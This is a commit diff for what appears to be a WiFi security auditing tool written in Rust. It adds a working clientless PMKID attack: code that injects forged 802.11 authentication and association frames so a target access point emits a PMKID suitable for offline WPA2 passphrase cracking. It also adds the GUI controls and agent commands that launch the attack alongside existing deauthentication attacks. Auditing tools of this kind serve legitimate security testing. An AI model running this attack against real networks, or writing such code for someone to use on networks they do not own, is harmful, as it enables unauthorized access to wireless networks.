A WiFi security auditing software
feat: add active clientless PMKID solicitation
Martin Olivier95c6fd2c4d0a
diff --git a/crates/agent/src/backend/app.rs b/crates/agent/src/backend/app.rsindex 60c8d99..5126d18 100644--- a/crates/agent/src/backend/app.rs+++ b/crates/agent/src/backend/app.rs@@ -8,7 +8,7 @@ use super::*;/// the wireless card is never left in monitor mode with an orphaned scan running.pub fn app_cleanup() {stop_scan_process().ok();- stop_all_deauth_attacks();+ stop_all_attacks();if let Some(ref iface) = get_iface() {disable_monitor_mode(iface).ok();diff --git a/crates/agent/src/backend/deauth.rs b/crates/agent/src/backend/deauth.rsindex 0b41dfe..6a4f96f 100644--- a/crates/agent/src/backend/deauth.rs+++ b/crates/agent/src/backend/deauth.rs@@ -99,7 +99,7 @@ pub fn launch_deauth_attack(get_attack_pool().insert(ap.bssid.clone(),- DeauthAttack {+ Attack {ap,target,stop,@@ -110,8 +110,8 @@ pub fn launch_deauth_attack(Ok(())}-/// Stop a deauth attack on a specific AP.-pub fn stop_deauth_attack(ap_bssid: &str) {+/// Stop the attack (deauth or PMKID) running on a specific AP, if any.+pub fn stop_attack(ap_bssid: &str) {// Remove first so the lock is released before we join the thread.let attack = get_attack_pool().remove(ap_bssid);@@ -121,11 +121,12 @@ pub fn stop_deauth_attack(ap_bssid: &str) {}}-pub fn stop_all_deauth_attacks() {+/// Stop every running attack (deauth and PMKID).+pub fn stop_all_attacks() {let attacked_aps: Vec<_> = get_attack_pool().keys().cloned().collect();for bssid in attacked_aps {- stop_deauth_attack(&bssid);+ stop_attack(&bssid);}}diff --git a/crates/agent/src/backend/mod.rs b/crates/agent/src/backend/mod.rsindex 030f6b6..db051ba 100644--- a/crates/agent/src/backend/mod.rs+++ b/crates/agent/src/backend/mod.rs@@ -3,6 +3,7 @@ pub mod capture;pub mod deauth;pub mod interface;pub mod pcap;+pub mod pmkid;pub mod raw_socket;pub mod scan;pub mod sniffer;@@ -12,5 +13,6 @@ pub use app::*;pub use capture::*;pub use deauth::*;pub use interface::*;+pub use pmkid::*;pub use scan::*;pub use vendors::*;diff --git a/crates/agent/src/backend/pmkid.rs b/crates/agent/src/backend/pmkid.rsnew file mode 100644index 0000000..7d76ff2--- /dev/null+++ b/crates/agent/src/backend/pmkid.rs@@ -0,0 +1,379 @@+//! Native, clientless PMKID solicitation.+//!+//! A background thread associates with the target AP on the attacker's behalf so+//! the AP emits an EAPOL message 1 carrying its PMKID — the "clientless" WPA+//! attack, needing no connected station. The sequence per attempt is:+//! * an open-system authentication request,+//! * an association request advertising an RSN IE (WPA2-PSK / CCMP),+//! * then we watch for the solicited message 1 that carries the PMKID.+//!+//! The thread only needs to *drive* the exchange and detect success: the running+//! scan (parked on the AP's channel while the attack is in the pool, exactly like+//! deauth) captures the message 1 into the capture file, where the shared+//! detection ([`airgorah_common::handshake`]) flags the AP's PMKID. On success the+//! thread also sets the flag directly and removes itself from the attack pool.+//!+//! Like deauth this is pure frame injection over the monitor interface; it depends+//! on the driver honouring injected management frames, so results are+//! hardware-dependent.++use super::raw_socket;+use super::{get_aps, get_attack_pool};+use crate::globals::Attack;+use airgorah_common::types::*;++use libwifi::Frame;++use std::os::fd::OwnedFd;+use std::sync::Arc;+use std::sync::atomic::{AtomicBool, Ordering};+use std::time::{Duration, Instant};++/// Radiotap header with no fields (version, pad, len=8, present=0): the driver+/// fills in the transmit parameters. Shared shape with the deauth injector.+const RADIOTAP: [u8; 8] = [0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00];++/// 802.11 frame-control first byte for an authentication management frame+/// (type management, subtype 11) and an association request (subtype 0).+const SUBTYPE_AUTH: u8 = 0xb0;+const SUBTYPE_ASSOC_REQ: u8 = 0x00;++/// Locally-administered fallback source MAC, used only if the monitor interface's+/// own address cannot be read.+const FALLBACK_SOURCE: [u8; 6] = [0x02, 0x00, 0x00, 0x00, 0x00, 0x01];++#[derive(thiserror::Error, Debug)]+pub enum PmkidError {+ #[error("Input/Output error: {0}")]+ IoError(#[from] std::io::Error),++ #[error("Invalid MAC address: {0}")]+ InvalidMac(String),++ #[error("This access point is already under attack")]+ AlreadyAttacked,+}++/// Launch a clientless PMKID solicitation against `ap`.+///+/// Fails if the AP is already under an attack (the pool is keyed by BSSID, so an+/// AP is under at most one attack at a time), rather than overwriting the entry+/// and leaking the running thread.+pub fn launch_pmkid_attack(iface: &str, ap: AP) -> Result<(), PmkidError> {+ let bssid = parse_mac(&ap.bssid).ok_or_else(|| PmkidError::InvalidMac(ap.bssid.clone()))?;++ if get_attack_pool().contains_key(&ap.bssid) {+ return Err(PmkidError::AlreadyAttacked);+ }++ // The association must carry a real source MAC so the AP addresses its reply+ // (message 1) back to us.+ let source = read_iface_mac(iface).unwrap_or(FALLBACK_SOURCE);++ // A hidden AP's SSID is unknown, so associate with a wildcard (empty) SSID.+ let ssid: Vec<u8> = if ap.hidden {+ Vec::new()+ } else {+ ap.essid.as_bytes().iter().take(32).copied().collect()+ };++ // Open the socket up front so a failure is reported synchronously to the GUI+ // rather than dying silently inside the thread.+ let socket = raw_socket::open(iface)?;+ raw_socket::set_recv_timeout(&socket, 100)?;++ let stop = Arc::new(AtomicBool::new(false));+ let thread_stop = Arc::clone(&stop);+ let bssid_str = ap.bssid.clone();++ let handle = std::thread::spawn(move || {+ run_solicitation(socket, bssid, bssid_str, source, ssid, thread_stop);+ });++ get_attack_pool().insert(+ ap.bssid.clone(),+ Attack {+ ap,+ target: AttackTarget::Pmkid,+ stop,+ handle,+ },+ );++ Ok(())+}++/// Solicitation thread body: retry auth + assoc and watch for the PMKID until it+/// is captured or the attack is stopped.+fn run_solicitation(+ socket: OwnedFd,+ bssid: [u8; 6],+ bssid_str: String,+ source: [u8; 6],+ ssid: Vec<u8>,+ stop: Arc<AtomicBool>,+) {+ let auth = build_auth_request(bssid, source);+ let assoc = build_assoc_request(bssid, source, &ssid);+ let mut buf = [0u8; 4096];++ log::info!("[{bssid_str}] pmkid solicitation started");++ while !stop.load(Ordering::Relaxed) {+ raw_socket::send(&socket, &auth).ok();++ // Give the AP a moment to authenticate us before associating.+ if wait_or_stopped(&stop, Duration::from_millis(80)) {+ break;+ }++ raw_socket::send(&socket, &assoc).ok();++ // Watch for the solicited message 1 carrying the PMKID.+ if poll_for_pmkid(+ &socket,+ &bssid_str,+ &mut buf,+ Duration::from_millis(600),+ &stop,+ ) {+ log::info!("[{bssid_str}] pmkid captured");++ if let Some(ap) = get_aps().get_mut(&bssid_str) {+ ap.pmkid = true;+ }++ // The solicitation is done; drop ourselves from the pool so the GUI+ // reflects that the attack has ended. Removing our own entry detaches+ // this thread's handle, which is fine as we are about to return.+ get_attack_pool().remove(&bssid_str);+ return;+ }++ if wait_or_stopped(&stop, Duration::from_millis(200)) {+ break;+ }+ }++ log::info!("[{bssid_str}] pmkid solicitation stopped");+}++/// Read frames until `window` elapses, returning `true` as soon as one is an+/// EAPOL message 1 carrying a PMKID from the target AP.+fn poll_for_pmkid(+ socket: &OwnedFd,+ bssid_str: &str,+ buf: &mut [u8],+ window: Duration,+ stop: &AtomicBool,+) -> bool {+ let deadline = Instant::now() + window;++ while Instant::now() < deadline {+ if stop.load(Ordering::Relaxed) {+ return false;+ }+ match raw_socket::recv(socket, buf) {+ Ok(0) => {}+ Ok(n) => {+ if frame_carries_pmkid(&buf[..n], bssid_str) {+ return true;+ }+ }+ // A receive timeout (EAGAIN/EWOULDBLOCK) or benign EINTR: keep polling+ // until the deadline. Anything else is transient here too.+ Err(_) => {}+ }+ }++ false+}++/// Whether a received radiotap frame is an EAPOL key frame carrying a PMKID and+/// involving the target BSSID.+fn frame_carries_pmkid(raw: &[u8], bssid_str: &str) -> bool {+ let Ok((radiotap, body)) = radiotap::Radiotap::parse(raw) else {+ return false;+ };+ if radiotap.flags.as_ref().is_some_and(|f| f.bad_fcs) {+ return false;+ }+ let fcs = radiotap.flags.as_ref().is_some_and(|f| f.fcs);++ let frame = match libwifi::parse_frame(body, fcs) {+ Ok(frame) => frame,+ Err(_) if fcs => match libwifi::parse_frame(body, false) {+ Ok(frame) => frame,+ Err(_) => return false,+ },+ Err(_) => return false,+ };++ let (header, eapol) = match &frame {+ Frame::Data(data) => (&data.header, &data.eapol_key),+ Frame::QosData(data) => (&data.header, &data.eapol_key),+ _ => return false,+ };++ let Some(key) = eapol else {+ return false;+ };+ if key.pmkid().is_none() {+ return false;+ }++ // Confirm the frame belongs to the AP we are soliciting (message 1 is sent by+ // the AP, but checking all three addresses is robust to direction quirks).+ [&header.address_1, &header.address_2, &header.address_3]+ .iter()+ .any(|addr| addr.to_long_string().eq_ignore_ascii_case(bssid_str))+}++/// Sleep up to `dur` in small steps, returning `true` if `stop` was raised.+fn wait_or_stopped(stop: &AtomicBool, dur: Duration) -> bool {+ let deadline = Instant::now() + dur;+ while Instant::now() < deadline {+ if stop.load(Ordering::Relaxed) {+ return true;+ }+ std::thread::sleep(Duration::from_millis(20));+ }+ stop.load(Ordering::Relaxed)+}++/// Build a bare 802.11 management header: radiotap is prepended by the callers.+fn mgmt_header(subtype: u8, dst: [u8; 6], src: [u8; 6], bssid: [u8; 6]) -> Vec<u8> {+ let mut header = Vec::with_capacity(24);+ header.push(subtype); // frame control: type/subtype+ header.push(0x00); // frame control: flags+ header.extend_from_slice(&[0x00, 0x00]); // duration+ header.extend_from_slice(&dst); // address 1: destination+ header.extend_from_slice(&src); // address 2: source+ header.extend_from_slice(&bssid); // address 3: BSSID+ header.extend_from_slice(&[0x00, 0x00]); // sequence control+ header+}++/// Build an open-system authentication request (transaction sequence 1).+fn build_auth_request(bssid: [u8; 6], source: [u8; 6]) -> Vec<u8> {+ let mut frame = Vec::new();+ frame.extend_from_slice(&RADIOTAP);+ frame.extend_from_slice(&mgmt_header(SUBTYPE_AUTH, bssid, source, bssid));+ frame.extend_from_slice(&0x0000u16.to_le_bytes()); // auth algorithm: open system+ frame.extend_from_slice(&0x0001u16.to_le_bytes()); // auth transaction sequence: 1+ frame.extend_from_slice(&0x0000u16.to_le_bytes()); // status code+ frame+}++/// Build an association request advertising a WPA2-PSK / CCMP RSN IE, which is+/// what makes the AP answer with an EAPOL message 1 carrying its PMKID.+fn build_assoc_request(bssid: [u8; 6], source: [u8; 6], ssid: &[u8]) -> Vec<u8> {+ let mut frame = Vec::new();+ frame.extend_from_slice(&RADIOTAP);+ frame.extend_from_slice(&mgmt_header(SUBTYPE_ASSOC_REQ, bssid, source, bssid));++ frame.extend_from_slice(&0x0431u16.to_le_bytes()); // capability info (ESS, privacy, ...)+ frame.extend_from_slice(&0x0064u16.to_le_bytes()); // listen interval++ // SSID element (id 0). Empty for a hidden AP (wildcard).+ let ssid = &ssid[..ssid.len().min(32)];+ frame.push(0x00);+ frame.push(ssid.len() as u8);+ frame.extend_from_slice(ssid);++ // Supported rates element (id 1).+ frame.extend_from_slice(&[0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24]);++ // RSN element (id 48): version 1, group + pairwise cipher CCMP, AKM PSK, no+ // RSN capabilities. Advertising PSK is what solicits the PMKID.+ frame.extend_from_slice(&[+ 0x30, 0x14, // element id 48, length 20+ 0x01, 0x00, // version 1+ 0x00, 0x0f, 0xac, 0x04, // group cipher suite: CCMP+ 0x01, 0x00, // pairwise cipher suite count: 1+ 0x00, 0x0f, 0xac, 0x04, // pairwise cipher suite: CCMP+ 0x01, 0x00, // AKM suite count: 1+ 0x00, 0x0f, 0xac, 0x02, // AKM suite: PSK+ 0x00, 0x00, // RSN capabilities+ ]);++ frame+}++/// Read the current MAC address of a monitor interface from sysfs.+fn read_iface_mac(iface: &str) -> Option<[u8; 6]> {+ let text = std::fs::read_to_string(format!("/sys/class/net/{iface}/address")).ok()?;+ parse_mac(text.trim())+}++/// Parse a canonical `xx:xx:xx:xx:xx:xx` MAC address into raw bytes.+fn parse_mac(mac: &str) -> Option<[u8; 6]> {+ let mut bytes = [0u8; 6];+ let mut parts = mac.split(':');++ for byte in &mut bytes {+ *byte = u8::from_str_radix(parts.next()?, 16).ok()?;+ }++ if parts.next().is_some() {+ return None;+ }++ Some(bytes)+}++#[cfg(test)]+mod tests {+ use super::*;++ const BSSID: [u8; 6] = [0x18, 0x86, 0x37, 0x1f, 0x30, 0x40];+ const SOURCE: [u8; 6] = [0x02, 0x11, 0x22, 0x33, 0x44, 0x55];++ #[test]+ fn auth_request_is_open_system_sequence_one() {+ let frame = build_auth_request(BSSID, SOURCE);++ // radiotap (8) + management header (24) + auth body (6).+ assert_eq!(frame.len(), 8 + 24 + 6);+ assert_eq!(frame[8], SUBTYPE_AUTH); // frame control type/subtype+ assert_eq!(&frame[12..18], &BSSID); // address 1: destination (AP)+ assert_eq!(&frame[18..24], &SOURCE); // address 2: source (us)+ assert_eq!(&frame[24..30], &BSSID); // address 3: BSSID+ assert_eq!(&frame[32..34], &0u16.to_le_bytes()); // algorithm: open system+ assert_eq!(&frame[34..36], &1u16.to_le_bytes()); // transaction sequence: 1+ assert_eq!(&frame[36..38], &0u16.to_le_bytes()); // status code+ }++ #[test]+ fn assoc_request_carries_ssid_and_psk_rsn_ie() {+ let ssid = b"MyNet";+ let frame = build_assoc_request(BSSID, SOURCE, ssid);++ assert_eq!(frame[8], SUBTYPE_ASSOC_REQ);+ // SSID element follows capability (2) + listen interval (2) at offset 36.+ assert_eq!(frame[36], 0x00); // SSID element id+ assert_eq!(frame[37], ssid.len() as u8);+ assert_eq!(&frame[38..38 + ssid.len()], ssid);++ // A full RSN IE advertising the PSK AKM must be present to solicit a PMKID.+ let rsn: [u8; 22] = [+ 0x30, 0x14, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04, 0x01, 0x00, 0x00, 0x0f, 0xac, 0x04,+ 0x01, 0x00, 0x00, 0x0f, 0xac, 0x02, 0x00, 0x00,+ ];+ assert!(frame.windows(rsn.len()).any(|window| window == rsn));+ }++ #[test]+ fn assoc_request_clamps_an_overlong_ssid() {+ let ssid = [b'a'; 40];+ let frame = build_assoc_request(BSSID, SOURCE, &ssid);+ assert_eq!(frame[37], 32); // SSID length field is capped at 32+ }++ #[test]+ fn parse_mac_reads_and_rejects() {+ assert_eq!(parse_mac("18:86:37:1F:30:40"), Some(BSSID));+ assert_eq!(parse_mac("18:86:37:1F:30"), None);+ assert_eq!(parse_mac("nope"), None);+ }+}diff --git a/crates/agent/src/globals.rs b/crates/agent/src/globals.rsindex 58c3547..1ca447d 100644--- a/crates/agent/src/globals.rs+++ b/crates/agent/src/globals.rs@@ -37,17 +37,19 @@ pub struct ScanHandle {pub handle: JoinHandle<()>,}-/// A running native deauth attack against one AP. `target` is kept for the wire-/// projection ([`airgorah_common::types::AttackState`]), `stop` asks the injection-/// thread to exit and `handle` joins it.-pub struct DeauthAttack {+/// A running native attack against one AP — a deauth or a PMKID solicitation.+/// `target` records which kind (kept for the wire projection+/// [`airgorah_common::types::AttackState`] and to drive the GUI), `stop` asks the+/// worker thread to exit and `handle` joins it. Keyed by BSSID in [`AttackPool`],+/// so an AP is under at most one attack at a time.+pub struct Attack {pub ap: AP,pub target: AttackTarget,pub stop: Arc<AtomicBool>,pub handle: JoinHandle<()>,}-pub type AttackPool = HashMap<String, DeauthAttack>;+pub type AttackPool = HashMap<String, Attack>;lazy_static! {pub static ref IFACE: Mutex<Option<String>> = Mutex::new(None);diff --git a/crates/agent/src/server.rs b/crates/agent/src/server.rsindex 5d0a5c0..22d02f3 100644--- a/crates/agent/src/server.rs+++ b/crates/agent/src/server.rs@@ -217,12 +217,35 @@ fn dispatch(request: Request) -> (Response, bool) {}Request::StopDeauth { bssid } => {- backend::stop_deauth_attack(&bssid);+ backend::stop_attack(&bssid);(Response::Ok, false)}Request::StopAllDeauth => {- backend::stop_all_deauth_attacks();+ backend::stop_all_attacks();+ (Response::Ok, false)+ }++ Request::StartPmkid { bssid } => {+ let iface = match backend::get_iface() {+ Some(iface) => iface,+ None => return (err("no interface selected"), false),+ };+ let ap = match backend::get_aps().get(&bssid).cloned() {+ Some(ap) => ap,+ None => return (err(format!("unknown access point {bssid}")), false),+ };+ if !is_valid_mac(&ap.bssid) {+ return (err("invalid access point BSSID"), false);+ }+ match backend::launch_pmkid_attack(&iface, ap) {+ Ok(()) => (Response::Ok, false),+ Err(e) => (err(e), false),+ }+ }++ Request::StopPmkid { bssid } => {+ backend::stop_attack(&bssid);(Response::Ok, false)}diff --git a/crates/common/src/ipc.rs b/crates/common/src/ipc.rsindex 53d407a..df5bbb0 100644--- a/crates/common/src/ipc.rs+++ b/crates/common/src/ipc.rs@@ -73,6 +73,15 @@ pub enum Request {},StopAllDeauth,+ /// Start a clientless PMKID solicitation against an AP: the agent associates+ /// with it so it emits an EAPOL message 1 carrying its PMKID.+ StartPmkid {+ bssid: String,+ },+ StopPmkid {+ bssid: String,+ },+// --- capture ---/// Read one chunk of the saved capture at `offset`; the GUI streams the file/// in bounded pieces so a long capture never has to fit in one frame.diff --git a/crates/common/src/types.rs b/crates/common/src/types.rsindex 26d5de5..8123911 100644--- a/crates/common/src/types.rs+++ b/crates/common/src/types.rs@@ -24,16 +24,19 @@ pub enum MacMode {Specific(String),}-/// Serializable view of which clients of an AP are currently under attack.+/// Serializable view of what kind of attack an AP is currently under.///-/// The agent keeps the actual `Child` handles internally; this is the shape the-/// GUI receives so it can paint the affected rows.+/// The agent keeps the actual thread handles internally; this is the shape the+/// GUI receives so it can paint the affected rows and drive its controls.#[derive(Clone, Debug, Serialize, Deserialize)]pub enum AttackTarget {/// A broadcast deauth against every client (`FF:FF:FF:FF:FF:FF`).All,/// A deauth targeting the listed client MAC addresses.Selection(Vec<String>),+ /// A clientless PMKID solicitation: the agent associates with the AP itself+ /// to make it emit an EAPOL message 1 carrying its PMKID.+ Pmkid,}/// A single ongoing deauth attack, as reported to the GUI.diff --git a/crates/gui/src/backend/client.rs b/crates/gui/src/backend/client.rsindex 37810f7..ee40ce7 100644--- a/crates/gui/src/backend/client.rs+++ b/crates/gui/src/backend/client.rs@@ -427,6 +427,17 @@ pub fn stop_deauth_attack(bssid: &str) {.ok();}+pub fn launch_pmkid_attack(ap: AP) -> Result<(), AgentError> {+ expect_ok(request(Request::StartPmkid { bssid: ap.bssid })?)+}++pub fn stop_pmkid_attack(bssid: &str) {+ request(Request::StopPmkid {+ bssid: bssid.to_string(),+ })+ .ok();+}+// --------------------------------------------------------------------------// Capture// --------------------------------------------------------------------------diff --git a/crates/gui/src/frontend/connections/app.rs b/crates/gui/src/frontend/connections/app.rsindex 1b8f5ed..973650e 100755--- a/crates/gui/src/frontend/connections/app.rs+++ b/crates/gui/src/frontend/connections/app.rs@@ -478,6 +478,7 @@ pub fn update_buttons_sensitivity(app_data: &Rc<AppData>) {app_data.app_gui.focus_but.set_sensitive(false);app_data.app_gui.add_but.set_sensitive(false);app_data.app_gui.deauth_but.set_sensitive(false);+ app_data.app_gui.pmkid_but.set_sensitive(false);app_data.app_gui.capture_but.set_sensitive(false);app_data.app_gui.previous_but.set_sensitive(false);@@ -542,6 +543,7 @@ pub fn update_buttons_sensitivity(app_data: &Rc<AppData>) {}app_data.app_gui.deauth_but.set_sensitive(true);+ app_data.app_gui.pmkid_but.set_sensitive(true);let mut prev_iter = iter;match app_data.app_gui.aps_model.iter_previous(&mut prev_iter) {@@ -732,23 +734,37 @@ fn start_app_refresh(app_data: Rc<AppData>) {match app_data.app_gui.aps_view.selection().selected() {Some((_, iter)) => {let bssid = list_store_get!(app_data.app_gui.aps_model, &iter, 1, String);- let attack_pool = backend::get_attack_pool();-- match attack_pool.contains_key(&bssid) {- true => {- app_data- .app_gui- .deauth_but- .set_icon_name("process-stop-symbolic");- }- false => {- app_data- .app_gui- .deauth_but- .set_icon_name("network-wireless-offline-symbolic");- }++ // The deauth and PMKID buttons each reflect their own kind+ // of attack: an AP is under at most one at a time.+ let (is_deauth, is_pmkid) = {+ let attack_pool = backend::get_attack_pool();+ let target = attack_pool.get(&bssid).map(|state| state.target.clone());+ (+ matches!(+ target,+ Some(AttackTarget::All) | Some(AttackTarget::Selection(_))+ ),+ matches!(target, Some(AttackTarget::Pmkid)),+ )+ };++ match is_deauth {+ true => app_data+ .app_gui+ .deauth_but+ .set_icon_name("process-stop-symbolic"),+ false => app_data+ .app_gui+ .deauth_but+ .set_icon_name("network-wireless-offline-symbolic"),}+ app_data.app_gui.pmkid_but.set_icon_name(match is_pmkid {+ true => "process-stop-symbolic",+ false => "network-wireless-hotspot-symbolic",+ });+let ap = &backend::get_aps()[&bssid];match ap.handshake || ap.pmkid {true => app_data.app_gui.capture_but.set_sensitive(true),@@ -760,6 +776,10 @@ fn start_app_refresh(app_data: Rc<AppData>) {.app_gui.deauth_but.set_icon_name("network-wireless-offline-symbolic");+ app_data+ .app_gui+ .pmkid_but+ .set_icon_name("network-wireless-hotspot-symbolic");}};@@ -784,9 +804,14 @@ fn start_app_refresh(app_data: Rc<AppData>) {None => app_data.app_gui.aps_model.append(),};- let background_color = match backend::get_attack_pool().contains_key(bssid) {- true => gdk::RGBA::RED,- false => gdk::RGBA::new(0.0, 0.0, 0.0, 0.0),+ let background_color = match backend::get_attack_pool().get(bssid) {+ Some(attack_state) => match &attack_state.target {+ // A PMKID (association) solicitation marks the AP blue;+ // a deauth attack marks it red.+ AttackTarget::Pmkid => gdk::RGBA::BLUE,+ AttackTarget::All | AttackTarget::Selection(_) => gdk::RGBA::RED,+ },+ None => gdk::RGBA::new(0.0, 0.0, 0.0, 0.0),};app_data.app_gui.aps_model.set(@@ -835,6 +860,9 @@ fn start_app_refresh(app_data: Rc<AppData>) {}color}+ // A PMKID solicitation targets the AP, not any+ // client, so no client row is highlighted.+ AttackTarget::Pmkid => gdk::RGBA::new(0.0, 0.0, 0.0, 0.0),},None => gdk::RGBA::new(0.0, 0.0, 0.0, 0.0),};@@ -960,11 +988,56 @@ fn connect_deauth_button(app_data: Rc<AppData>) {};let bssid = list_store_get!(app_data.app_gui.aps_model, &iter, 1, String);- let under_attack = backend::get_attack_pool().contains_key(&bssid);- match under_attack {- true => backend::stop_deauth_attack(&bssid),- false => app_data.deauth_gui.show(backend::get_aps()[&bssid].clone()),+ let target = backend::get_attack_pool()+ .get(&bssid)+ .map(|state| state.target.clone());++ match target {+ Some(AttackTarget::All) | Some(AttackTarget::Selection(_)) => {+ backend::stop_deauth_attack(&bssid)+ }+ // The AP is busy soliciting a PMKID; leave that attack alone.+ Some(AttackTarget::Pmkid) => {}+ None => app_data.deauth_gui.show(backend::get_aps()[&bssid].clone()),+ }+ }+ ));+}++fn connect_pmkid_button(app_data: Rc<AppData>) {+ app_data.app_gui.pmkid_but.connect_clicked(clone!(+ #[strong]+ app_data,+ move |_| {+ let iter = match app_data.app_gui.aps_view.selection().selected() {+ Some((_, iter)) => iter,+ None => return,+ };++ let bssid = list_store_get!(app_data.app_gui.aps_model, &iter, 1, String);++ let target = backend::get_attack_pool()+ .get(&bssid)+ .map(|state| state.target.clone());++ match target {+ Some(AttackTarget::Pmkid) => backend::stop_pmkid_attack(&bssid),+ // The AP is busy with a deauth attack; leave it alone.+ Some(_) => {}+ None => {+ let ap = match backend::get_aps().get(&bssid) {+ Some(ap) => ap.clone(),+ None => return,+ };+ if let Err(e) = backend::launch_pmkid_attack(ap) {+ ErrorDialog::spawn(+ &app_data.app_gui.window,+ "Failed to start PMKID attack",+ &e.to_string(),+ );+ }+ }}}));@@ -1073,5 +1146,6 @@ pub fn connect(app: &Application, app_data: Rc<AppData>) {connect_add_button(app_data.clone());connect_deauth_button(app_data.clone());+ connect_pmkid_button(app_data.clone());connect_capture_button(app_data);}diff --git a/crates/gui/src/frontend/interfaces/app.rs b/crates/gui/src/frontend/interfaces/app.rsindex 3a42ce1..612e266 100755--- a/crates/gui/src/frontend/interfaces/app.rs+++ b/crates/gui/src/frontend/interfaces/app.rs@@ -31,6 +31,14 @@ fn build_settings_button() -> Button {.build()}+fn build_pmkid_button() -> Button {+ Button::builder()+ .icon_name("network-wireless-hotspot-symbolic")+ .tooltip_text("Solicit a PMKID from the selected access point (clientless)")+ .sensitive(false)+ .build()+}+fn build_scan_button() -> Button {Button::builder().icon_name("media-playback-start-symbolic")@@ -357,6 +365,7 @@ pub struct AppGui {pub focus_but: Button,pub add_but: Button,pub deauth_but: Button,+ pub pmkid_but: Button,pub capture_but: Button,pub client_status_bar: Statusbar,pub channel_status_bar: Statusbar,@@ -385,6 +394,7 @@ impl AppGui {let bottom_but = build_bottom_but();let deauth_but = build_deauth_button();+ let pmkid_but = build_pmkid_button();let capture_but = build_capture_button();let about_button = build_about_button();@@ -448,6 +458,7 @@ impl AppGui {header_bar.pack_start(&Separator::new(Orientation::Vertical));header_bar.pack_start(&deauth_but);+ header_bar.pack_start(&pmkid_but);header_bar.pack_start(&capture_but);header_bar.pack_start(&Separator::new(Orientation::Vertical));@@ -549,6 +560,7 @@ impl AppGui {focus_but,add_but,deauth_but,+ pmkid_but,capture_but,client_status_bar,channel_status_bar,